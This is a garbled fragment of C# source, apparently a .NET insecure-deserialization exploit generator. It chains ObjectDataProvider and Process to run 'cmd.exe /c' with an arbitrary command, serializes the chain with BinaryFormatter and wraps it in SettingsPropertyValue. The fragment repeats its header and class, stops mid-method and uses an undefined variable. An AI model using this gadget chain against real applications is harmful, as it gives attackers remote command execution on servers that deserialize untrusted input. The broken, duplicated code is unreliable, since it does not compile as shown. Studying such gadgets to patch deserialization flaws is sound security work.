using System; using System.Collections.Specialized; // using ConsoleApp.Gadget; using Newtonsoft.Json; using System.Configuration; using System.Diagnostics; using System.IO; using System.Reflection; using System.Runtime.Serialization; using System.Runtime.Serialization.Formatters.Binary; using System.Windows.Data; using System.Windows.Markup; using ConsoleApp.InsecureSerialization; using Microsoft.VisualStudio.Text.Formatting;
namespaceConsoleApp.InsecureSerialization { [Serializable] publicclassTextFormattingRunPropertiesMarshal : ISerializable { publicstaticstringgadget(string cmd) { // ObjectDataProvider ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName = "cmd.exe"; psi.Arguments = $"/c {cmd}"; StringDictionary dict = new StringDictionary(); psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict); Process p = new Process(); p.StartInfo = psi; ObjectDataProvider odp = new ObjectDataProvider(); odp.MethodName = "Start"; odp.IsInitialLoadEnabled = false; odp.ObjectInstance = p;
using (MemoryStream mem = new MemoryStream()) { BinaryFormatter binaryFormatter = new BinaryFormatter(); binaryFormatter.Serialize(mem, textFormattingRunProperties);
data = mem.ToArray(); }
SettingsProperty property = new SettingsProperty("test");//用这个的目的只是为了给SettingsPropertyValue构造函数传值 SettingsPropertyValue settingsPropertyValue = new SettingsPropertyValue(property); settingsPropertyValue.Deserialized = false; settingsPropertyValue.SerializedValue = data;
using System; using System.Collections.Specialized; using System.Diagnostics; // using ConsoleApp.Gadget; using System.IO; using System.Reflection; using System.Runtime.Serialization; using System.Runtime.Serialization.Formatters.Binary; using System.Security; using System.Web.Script.Serialization; using System.Windows.Data; using System.Windows.Markup; using ConsoleApp.InsecureSerialization; using Microsoft.VisualStudio.Text.Formatting;
namespaceConsoleApp.InsecureSerialization { [Serializable] publicclassTextFormattingRunPropertiesMarshal : ISerializable { publicstaticstringgadget(string cmd) { // ObjectDataProvider ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName = "cmd.exe"; psi.Arguments = $"/c {cmd}"; StringDictionary dict = new StringDictionary(); psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict); Process p = new Process(); p.StartInfo = psi; ObjectDataProvider odp = new ObjectDataProvider(); odp.MethodName = "Start"; odp.IsInitialLoadEnabled = false; odp.ObjectInstance = p;
using (MemoryStream mem = new MemoryStream()) { BinaryFormatter binaryFormatter = new BinaryFormatter(); binaryFormatter.Serialize(mem, textFormattingRunProperties);